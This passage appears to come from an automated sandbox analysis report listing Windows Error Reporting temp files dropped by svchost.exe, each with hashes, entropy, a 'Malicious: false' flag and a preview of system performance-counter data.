e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3E82.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6939887401041216
Encrypted:	false
SSDEEP:	96:TiZYW93yk+LyYyDYHW+tHZYEZ5rtFi9MC72ZwpemTa0ntMEYGITe3:2ZDdPB0BUa0ntMEYBTe3
MD5:	D1E9EF2D29FD8093A0BFFC1D0C8180AE
SHA1:	05FC88A320556214E350F9C63861ABDB88751634
SHA-256:	46A9B5E3E283D5309A8BB85AB494FBF6E36DF1E40C9CD7C0BBB7E2E00705A1D8
SHA-512:	A87C1291B7E710E085348850A4563009BF9357CCE50CC8AC85C27B1084B3B27A59BD5B020945E007E297E2E47014E23BDF7E23003D46C24C777AF7FBBF4B4C09
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER41B.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	100612
Entropy (8bit):	3.0692373174706296
Encrypted:	false
SSDEEP:	3072:EEhcHzWxKKR6NroKUe7+RY05+Zj/ItqEM6ONkouaC2s4WS9qmiRk5qA:q
MD5:	DADEEA0561FC367FF96333919D1C1354
SHA1:	CA6D787082B3675C0B932C3521BC8139637EF9C6
SHA-256:	D2F208845305EF30CCEE196CC94992135FD5A12F14ADA36D8C5CF375C9BDA13A
SHA-512:	10E1E6E4BD7423C3F89CFD431D9C9F1CBED69E592424696D69941CD86D8577613E54769BABC483279BD8A41CA8033473323D63FB3CF40BCEEFB632B710094E78
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4271.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	107296
Entropy (8bit):	3.0628601896176093
Encrypted:	false
SSDEEP:	3072:KAlggHW7z1YkyELKvKXjxJwHJOuC8Y0BFZjgD1qNMYFc0yEowYuaJK60dIUI:W
MD5:	59BDD4D2F3ACB1F9072C25F48E030115
SHA1:	B3DF94BA9A7078F8D96B51724470FF3C60B73DF1
SHA-256:	908A329FEF0AE99A22A0FD7FC470E714995068B4E061C45A60A1C7C04852EB12
SHA-512:	46155F9684070BE981984F330EA1340482B375248BD524198A0F2B17878EBAFB5E5C0D0B4EE4A96F9FB46AB6FC4EE213057723B3F8A78BFD6B97D8116EBFF43F
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4291.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	106798
Entropy (8bit):	3.0629178220741524
Encrypted:	false
SSDEEP:	3072:MFYwHiz1lTyfK0KXjx3wHJOuC8Y0BFZjgD1quMSFAyXC+gyaJW60dIUu:o
MD5:	33F6BE23DA46D4B244D775FCADBF5276
SHA1:	E44306E3A0A0A2D406243B9E0B46B81CF37F22A1
SHA-256:	2A2CC7B632C52D1722FEAE29B541C7548367F7FB9C4875912440B0EACB25788F
SHA-512:	D8289F6498E927E60325A402C529DE71DE8FAF434AD9CF663689E2A72ED5C0C7E3EF30942999727E49EE08EBE1D3C138E8087AE8C5932A72CCB2816D7F65708D
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER435D.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.7000093719110496
Encrypted:	false
SSDEEP:	96:TiZYWK3B2B/oFGYAY7zwdcDHPYEZWI75tFiS+FRFwZAnjatnzMRYBIteu:2ZD6h8Hf3IPAjatnzMRY+teu
MD5:	A29006BE41EEB24C4BE88A3A8EB97E15
SHA1:	9CA026DE9236A38D42518FC40DDB038404C21619
SHA-256:	609B7A62636906FF383CC29C13CD441428C683C4E2E0D13A308AB9336826A6E0
SHA-512:	0385EF3275F836C35E85A45E3E6A20AA74D7FED3CDA52F3142BD4C20FD3D216422FF41A89C1E7ABB7E60FBF2E00AA08BBFB41482E11ED82B1901255D14009803
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER464.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	90804
Entropy (8bit):	3.086058028971667
Encrypted:	false
SSDEEP:	1536:lH5ESd7qJC6xornnR1CFt2asHQ1wuc8EPfRXyv8Vf4wCQ2CDLTvroZa:lH5ESd7qJC6xornnR1CFt2asHQ1wuc84
MD5:	CEF8F5D5E0A45B455B34139DE09463ED
SHA1:	7BB98A766756940CF610FEEB3F89A3305B949E4E
SHA-256:	388BDFB413CBBE8EA957D8998F87BB79EB990AF8E6C3EE1785A08AB6413A6BDE
SHA-512:	B10A1355F73C2695993B8739CD97596D001E137147AE9AF9779ACAECEDEF1E04B6E96BCA46915BFD4ABC7C43F80636F6EE4FD1F4A53FCF93F5A3C6EFFBA84BA9
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4F7.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.69913308769099
Encrypted:	false
SSDEEP:	96:TiZYWlUtxnzMAYtYthkxHkYEZKWtFiZ+MSjwhY2do8laFnxMlYiIee4:2ZDlKKjYeaFnxMlYFee4
MD5:	B1BAA31CFFF98CDF8DCA1B892C4CD0D0
SHA1:	0F67651074D320B5568B519361F3F22746F9414B
SHA-256:	DAC2350F8BE801CE6DB15E1F9D54B762FD6C62E8FF480332922CFB4ABA1AEA21
SHA-512:	49A2D34447CFB2D3BE3DA55BF23FF14FF6079A671E1128EA9D3326611A686FEE66C8916260F52156E484CAE89B73C722E8BBC42E52D57ABE6016EB2C96F64D2A
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER598D.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	95818
Entropy (8bit):	3.0748820064875875
Encrypted:	false
SSDEEP:	1536:f4okyHK50wP1s/aoyCEV2aP0y7+RY05+Zj/q5cHDI5cNaU3PwOUIuIqgxg2Yk88Y:f4okyHK50wP1s/aoyCEV2aP0y7+RY05x
MD5:	7B33488878EB5758F986AB85927472E1
SHA1:	E5B0F596F244F80C7B1250FFE3D1CBEB0139C64F
SHA-256:	8935942A3F47A8F77C819959C030075DB04A583796D0BC10EF19C49F8A663353
SHA-512:	973199440B62B09587839709BB75E4D95DB56374D3FF07494F66EF4998AC665E59E6F4F7EE1B3C7178A69F2EBB33C6277878B4A85BC475530AC36B41638DD338
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5A68.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6949993672851895
Encrypted:	false
SSDEEP:	96:TiZYWQzYv5Y+EYtMgbmHVYEZintFiuMZSAw5ee6awndLSMiYdXIT7edE:2ZD18CwlawnhSMiYyveS
MD5:	C14746DA9EA7AA80BECFD2EDBEA87C41
SHA1:	13A8F428193E9744978F245FC6FFABBCF87B650F
SHA-256:	A24A02111216E143723290536CB4DE32528CE106F10FA7673D32257736977FCC
SHA-512:	408F9FDA0A4A28BCCACAF81D924F605667C730ABC4C169C496831652BFED8C07D70D01F679E6618BFF106B2456ED5BE6A85A031D4A03764105649692BA629D80
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5CEA.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	95168
Entropy (8bit):	3.073899581989956
Encrypted:	false
SSDEEP:	1536:5q1HDbG5lww3ZyT/oyCEV2aP0y7+RY05+Zj/q5cxIiGBclL2Uh9ehP4ex:5q1HDbG5lww3ZyT/oyCEV2aP0y7+RY0l
MD5:	4724228A778C55B3F55A83E474C5291B
SHA1:	F07E5887E7CAC6776B432449B2AF991463ECDCB5
SHA-256:	FB49500D1D2FBC203A01CDEBD03891E920ED1D1C2481F2851EA91E8A91E035B5
SHA-512:	4259AF6279A48DAB4991A26C6202E36F622C363E4D031BE81E516E206BEDFD7C0C8A2481EF35D5EC4A00A3C57C432EA112FE32393D0BE93AD243F50742C9A610
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5E91.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	95220
Entropy (8bit):	3.0734759961092686
Encrypted:	false
SSDEEP:	1536:cVDwNq5lwwPZyeoyCEV2aP0y7+RY05+Zj/q5cjI0oBY02L2Uh9kEKjtZyPet:cVDwNq5lwwPZyeoyCEV2aP0y7+RY05+W
MD5:	BFC152F140E0843BDB0B0758E16DF6F5
SHA1:	372A4362589E6AECDF6899270DB5D582D56FA166
SHA-256:	DDB19C8F2EC2CB0B9BCB19A9DDE9A0C28EE0A39D0F4FA954C75A1086A7783B5C
SHA-512:	D469DA3683252B34C535F33E8D25DD28FE0A8783AC53EEBDC227DF787B5091108D8E23F3C4CD730E95E3FB0DC6521AC69828F52D8A1C340B6BB83DBBF48E571D
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5F7C.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6946797719394993
Encrypted:	false
SSDEEP:	96:TiZYWKLnxqucYUOYoMgj+LHQYEZNCtFijMkSiwf+ejK2aknrMhYtIpew:2ZDv7Ob2p3aknrMhYypew
MD5:	F630E91F27280BA485D8D14FBD09DECB
SHA1:	6EC6D391DC6527E0E9D5AAAECE9AA13E0FE0ED32
SHA-256:	DB6B02F8C022AB02571C32F975A6B8D2FE11DCE484DA6C25F3AF89F7F3A86990
